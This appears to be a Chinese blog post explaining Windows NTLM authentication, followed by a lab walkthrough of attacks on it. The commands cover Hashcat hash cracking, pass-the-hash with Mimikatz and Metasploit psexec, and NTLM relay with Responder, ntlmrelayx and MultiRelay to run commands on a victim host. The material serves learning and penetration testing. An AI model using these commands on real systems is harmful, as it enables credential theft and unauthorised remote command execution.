Windows认证机制之NTLM

前言

在看内网渗透的时候,看到一个操作就是在拿到一台机器的 system 权限后将这台机器中 Isass.exe 进程中明文密码和hash 打印出来。对于打印明文密码,可以用来进行密码碰撞攻击。但是打印 hash 的作用除了暴力破解出明文密码,除此之外就不太清楚还有什么作用了。

为此花了点时间把 Windows 的认证机制看了下,也算明白了 Windows 认证机制,以及针对 Windows 的认证方式,有哪些可攻击的手段。

先来梳理下 NTLM 的认证方式。

NTLM协议

NTML协议是windows下的认证协议,其可以应用在工作组环境下,也可以应用在域环境下(域环境默认使用 Kerberos认证协议)

NTLM Hash

在 windows 的认证过程中,windows不存储明文密码。只存储密码hash,类似于web开发中,将用户密码MD5加密后存储到数据库中。windows将密码hash存储在 %SystemRoot%\system32\config\sam 下。

Windows 中将 Hash 后的密码称为 NTLM Hash 。NTLM Hash 的生成过程为

password –> hex –> unicode –> md4

在 NTLM 协议之前还有 LM 协议,他两的认证过程相同,产生 Hash 的算法不同。但由于安全问题,LM 协议已经被基本淘汰。

本地认证

NTLM 协议进行本地认证的流程如下:

  1. winlogon.exe 进程接收用户输入将其传递给 lsass.exe 进程。
  2. lsass.exe 进程先存储一份明文密码再计算出 NTLM Hash 与 SAM 中的所存储的对应的用户 Hash 进行对比,若相同则通过认证。

网络认证

工作组环境

在工作组环境下 NTLM 的认证流程如下:

  1. Client 将用户名和本机的一些信息发送给 Server
  2. Server 产生一个16位的 Challenge 发送给 Client,同时本地存储 Challenge
  3. Client 接收到 Server 的 Challenge 后使用输入的明文密码产生的 NTLM Hash加密 Challenge 产生 Response(也称为Net-NTLM Hash),并将 Response 发送给 Server
  4. 服务端接收到 Response ,使用 SAM 中所存储的对应用户的 NTLM Hash 来加密步骤2所存储的 Challenge ,并将结果与 Response 进行比较。若一致则通过认证。

域环境

在域环境中的认证过程与工作组上大同小异。因为在域环境下,用户NTML Hash存储在域控的 NTDE.dit 中。所以认证流程需要经过域控,大致如下所示。

  1. Client 将用户名和本机的一些信息发送给 Server
  2. Server 产生一个16位的 Challenge 发送给 Client,同时本地存储 Challenge
  3. Client 接收到 Server 的 Challenge 后使用输入的明文密码产生的 NTLM Hash加密 Challenge 产生 Response(也称为Net-NTLM Hash),并将 Response 发送给 Server
  4. Server 向 DC 发送 Response,用户名,Challenge,发送给DC
  5. DC 用 NTDE.dit 中对应用户名的 NTLM Hash 加密服务端发送过来的 Challenge并与 Response进行对比,并将对比结果发送给 Server
  6. Server 在将步骤5中接收到的结果,发送给 Client

NTLM协议存在的问题

NTLM Hash爆破

Hashcat

假设此时已经拿到了某台机器的 NTLM Hash 可以使用 Hashcat 来将 NTLM hash 爆破为明文密码

1
hashcat64.exe -m 1000 'e19ccf75ee54e06b06a5907af13cef42' -a 0 ./wordlist.txt --force -o out.txt
  • -m 指定爆破类型为 NTLM Hash
  • -a 指定爆破类型为字典破解
  • -o 指定结果输出到文件 out.txt
  • –force 忽略警告

更多内容参考国光的 Hashcat学习记录

在线破解

可使用在线网站 cmd5 等类似的网站,以及万能的某宝。

Hash 传递攻击( Pass The Hash )

因为在整个认证过程中,是使用 NTLM Hash 来加密 Server 发送的 Challenge,也就是说如果我们能获得 NTML Hash 的话,也能以该用户的身份来加密 Challenge 完成 Server 的跳转,而无需破解出明文密码。

由于 UAC 的存在,以下必须使用SID为500的本地管理员账户进行测试,即使使用管理员组的本地账户,若SID不为500也不会成功。若是域账户的话,为域管理员组既可。

MSF

利用 msf 来进行 hash 传递攻击

假设我们此时已经获得到了目标的 NTLM hash 为 ‘e19ccf75ee54e06b06a5907af13cef42’

使用msf的 exploit/windows/smb/psexec 模块来进行hash传递攻击

可以看到已经成功获得了 meterpreter 会话

CrackMapExec

在 kali 下使用如下命令来进行安装

1
apt install crackmapexec

Mimikatz

接下来使用 Mimikatz 来进行 hash 传递攻击

1
2
privilege::debug
sekurlsa::pth /user:Administrator /domain:WIN-0GT3SKNJ1L1 /ntlm:e19ccf75ee54e06b06a5907af13cef42

命令执行成功后会弹出一个cmd窗口,在这个窗口中再次产生读取目标的目录,可以成功读取

Net NTLM Hash 中继攻击 SMB 服务

在整个 NTLM 认证的传输过程中,并不直接传输 NTLM Hash,而是传输 Net NTLM Hash。Net NTLM Hash同样可以使用 Hashcat 工具破解出明文密码。但是难度一般较大。

因为 NTLM Hash 在传输过程中使用,所以我们可以对其进行中继攻击,即中间人。

进行 hash 中继攻击首先要确定目标未开启 smb 签名认证,可以使用 nmap 进行探测

1
nmap --script smb-security-mode.nse -p 445 192.168.177.0/24 --open

Responder + ntlmrelayx

  • 攻击机 kali 192.168.177.186
  • 被害机 win 2008 192.168.177.145
  • 发起 NTML 请求的机器 win7 192.168.177.164

在 Responder.conf 中关闭 smb、http

执行

1
python Responder.py -I eth0 -r -d -w # 开启监听

再执行

1
python ntlmrelayx.py -t 192.168.177.145 -c 'ipconfig' # 进行中继转发

其中 -t 为指定被害机地址,-c 为要执行的命令

在 win7 上执行

1
net use \\192.168.177.186\c$ # 发起 NTML 请求,更多发起请求的方式参考[这里](https://www.anquanke.com/post/id/193493)

可以看到已经成功在受害机上执行了命令

Responder + MultiRelay

执行

1
2
python Responder.py -I eth0 -r -d -w # 开启监听
python MultiRelay.py -t 192.168.177.145 -u ALL # 进行中继

在 windows7 上执行

1
net use \\192.168.177.186\c$

然后回到 kali 上 可以看到 multirelay 已经获取到 cmdshell

参考文章

剖析Hash传递攻击的本质、缓解方式及部分绕过手段

彻底理解Windows认证 - 议题解读

Windows内网协议学习NTLM篇之NTLM基础介绍

Windows内网协议学习NTLM篇之发起NTLM请求

Windows内网协议学习NTLM篇之Net-NTLM利用

Windows内网协议学习NTLM篇之漏洞概述

浅谈Windows身份认证及相关攻击方式

Hashcat学习记录